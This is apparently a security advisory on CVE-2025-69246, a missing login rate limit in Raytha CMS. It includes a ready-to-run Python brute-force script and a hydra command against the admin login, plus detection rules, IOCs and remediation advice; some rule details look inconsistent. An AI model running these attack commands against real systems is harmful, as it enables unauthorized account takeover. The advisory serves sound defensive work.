CVE-2025-69246

Executive Summary

CVE-2025-69246 identifies a critical security deficiency in Raytha CMS, an open-source content management system. The vulnerability is a complete lack of brute force protection mechanisms on the login endpoint. This allows an unauthenticated, remote attacker to perform unlimited automated login attempts without any rate limiting, account lockout, or CAPTCHA challenges. The absence of these controls significantly increases the risk of successful credential stuffing and password guessing attacks, potentially leading to unauthorized administrative access.

Supply Chain & Package Security

Raytha CMS is a .NET-based application. The vulnerability is a direct code-level omission within the application's authentication logic, not a dependency issue. However, the lack of brute force protection is a fundamental security flaw that can be exploited regardless of the underlying framework. No specific package or library is implicated.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N) - Exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed to start the attack.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) - Successful brute force could lead to unauthorized access to sensitive data.
• Integrity Impact: None (I:N) - The vulnerability itself does not allow data modification.
• Availability Impact: None (A:N) - The vulnerability does not cause denial of service.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for account takeover make this a significant risk for any Raytha CMS deployment.

Deep Dive & Mechanics

The core issue is the absence of any brute force mitigation in the login process. In a typical secure implementation, the application would track failed login attempts per username or IP address. After a threshold (e.g., 5 attempts), the account would be locked for a period, or the IP address would be throttled. Raytha CMS 1.4.5 and earlier versions lack this logic entirely.

Attack Flow:

1. Reconnaissance: The attacker identifies a Raytha CMS login page (e.g., /admin/login).
2. Automation: The attacker uses a tool like hydra, medusa, or a custom Python script to send a high volume of POST requests to the login endpoint.
3. Credential Guessing: The script iterates through a list of common usernames (e.g., admin, administrator, root) and passwords (e.g., password123, admin, 123456).
4. Success: If a valid credential pair is found, the attacker gains authenticated access to the CMS backend.

The vulnerability is purely a logic omission. There is no complex exploit or memory corruption involved. The attack is a classic brute force attack made trivial by the lack of defenses.

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but the conceptual difference is clear.

Vulnerable Code (Conceptual - C# / ASP.NET Core):

[HttpPost]
public async Task<IActionResult> Login(LoginViewModel model)
{
    var user = await _userManager.FindByNameAsync(model.Username);
    if (user != null && await _userManager.CheckPasswordAsync(user, model.Password))
    {
        // Sign in the user
        await _signInManager.SignInAsync(user, isPersistent: false);
        return RedirectToAction("Index", "Dashboard");
    }
    // No tracking of failed attempts
    ModelState.AddModelError(string.Empty, "Invalid login attempt.");
    return View(model);
}

Patched Code (Conceptual - C# / ASP.NET Core):

[HttpPost]
public async Task<IActionResult> Login(LoginViewModel model)
{
    // Check if the account is locked out
    var user = await _userManager.FindByNameAsync(model.Username);
    if (user != null && await _userManager.IsLockedOutAsync(user))
    {
        ModelState.AddModelError(string.Empty, "Account is locked. Try again later.");
        return View(model);
    }

    if (user != null && await _userManager.CheckPasswordAsync(user, model.Password))
    {
        // Reset failed attempts on successful login
        await _userManager.ResetAccessFailedCountAsync(user);
        await _signInManager.SignInAsync(user, isPersistent: false);
        return RedirectToAction("Index", "Dashboard");
    }

    // Increment failed attempts
    if (user != null)
    {
        await _userManager.AccessFailedAsync(user);
        if (await _userManager.IsLockedOutAsync(user))
        {
            // Optionally log the lockout event
        }
    }

    ModelState.AddModelError(string.Empty, "Invalid login attempt.");
    return View(model);
}

The patched version introduces AccessFailedAsync, IsLockedOutAsync, and ResetAccessFailedCountAsync methods, which are standard ASP.NET Core Identity features. The vulnerable version simply omits these calls.

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Gain unauthorized access to the Raytha CMS admin panel.

Lab Setup:

1. Target: A local or cloud-hosted instance of Raytha CMS version 1.4.5 or earlier.
2. Attacker Machine: Kali Linux or any system with Python and requests library.

Exploitation Steps:

1. Identify Login Endpoint: Navigate to http://<target>/admin/login.
2. Craft Brute Force Script: Use the following Python script.

import requests

target_url = "http://<target>/admin/login"
username_list = ["admin", "administrator", "root"]
password_list = ["password", "123456", "admin", "letmein"]

for username in username_list:
    for password in password_list:
        login_data = {
            "Username": username,
            "Password": password
        }
        response = requests.post(target_url, data=login_data, allow_redirects=False)
        # Check for a redirect to the dashboard (indicating success)
        if response.status_code == 302 and "/dashboard" in response.headers.get("Location", ""):
            print(f"[+] SUCCESS: {username}:{password}")
            exit()
        else:
            print(f"[-] Failed: {username}:{password}")

3. Execute: Run the script. It will iterate through the credential pairs until a valid one is found.

Alternative Tool (Hydra):

hydra -L usernames.txt -P passwords.txt <target> http-post-form "/admin/login:Username=^USER^&Password=^PASS^:Invalid login attempt"

Blue Team (Defensive)

Detection & Response:

1. Monitor Authentication Logs: Look for a high volume of 401 Unauthorized or 302 Found (to login page) responses from a single IP address.
2. Analyze Web Server Logs: Use grep or a SIEM to identify repeated POST requests to /admin/login with different credentials.
3. Implement Rate Limiting: Use a Web Application Firewall (WAF) or reverse proxy (e.g., Nginx, Cloudflare) to limit the number of requests per IP per second.
4. Enable Account Lockout: If possible, apply a hotfix or custom middleware to implement account lockout after a set number of failed attempts.

Detection Rule (Sigma):

title: Brute Force Attack Against Raytha CMS Login
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple failed login attempts to Raytha CMS admin panel.
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-stem: '/admin/login'
        sc-status: 401
    timeframe: 5m
    condition: selection | count() by c-ip > 10
falsepositives:
    - Legitimate users forgetting passwords
level: medium

Indicators of Compromise (IOCs)

• Network IOCs:
  • High volume of HTTP POST requests to /admin/login from a single IP address.
  • Repeated 401 Unauthorized responses.
  • User-Agent strings associated with brute force tools (e.g., hydra, python-requests).
• Host IOCs:
  • Web server logs showing thousands of login attempts in a short period.
  • Application logs showing repeated Invalid login attempt messages.
• File IOCs:
  • No specific files are created by this attack.

Detection Engineering

YARA Rule

rule Raytha_Brute_Force_Logs
{
    meta:
        description = "Detects brute force attempts against Raytha CMS in web logs"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $login_uri = "/admin/login"
        $failed = "Invalid login attempt"
        $http_401 = "401"
    condition:
        # of ($login_uri) > 10 and # of ($failed) > 5 and # of ($http_401) > 5
}

Sigma Rule

title: Raytha CMS Brute Force Detection
id: 87654321-4321-4321-4321-210987654321
status: experimental
description: Detects a high number of failed login attempts to Raytha CMS.
logsource:
    category: application
    product: raytha_cms
detection:
    selection:
        EventID: 4625  # Windows failed logon event
        TargetUserName: '*'
        LogonType: 3  # Network logon
    condition: selection | count() by IpAddress > 10
falsepositives:
    - Automated testing
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Raytha CMS Brute Force Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/login"; http_uri; content:"Username="; http_client_body; content:"Password="; http_client_body; threshold: type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Raytha CMS to version 1.4.6 or later. This is the only complete fix.
2. Apply Virtual Patching: If immediate upgrade is not possible, implement a WAF rule to rate-limit requests to the /admin/login endpoint.
3. Enforce Strong Passwords: Ensure all admin accounts use complex, unique passwords.
4. Enable Multi-Factor Authentication (MFA): If supported, enable MFA for all admin accounts.

Long-Term Measures:

1. Security Audits: Regularly review authentication logic for missing controls.
2. Penetration Testing: Conduct periodic penetration tests to identify brute force vulnerabilities.
3. Monitoring: Implement robust logging and alerting for authentication failures.

Valters IT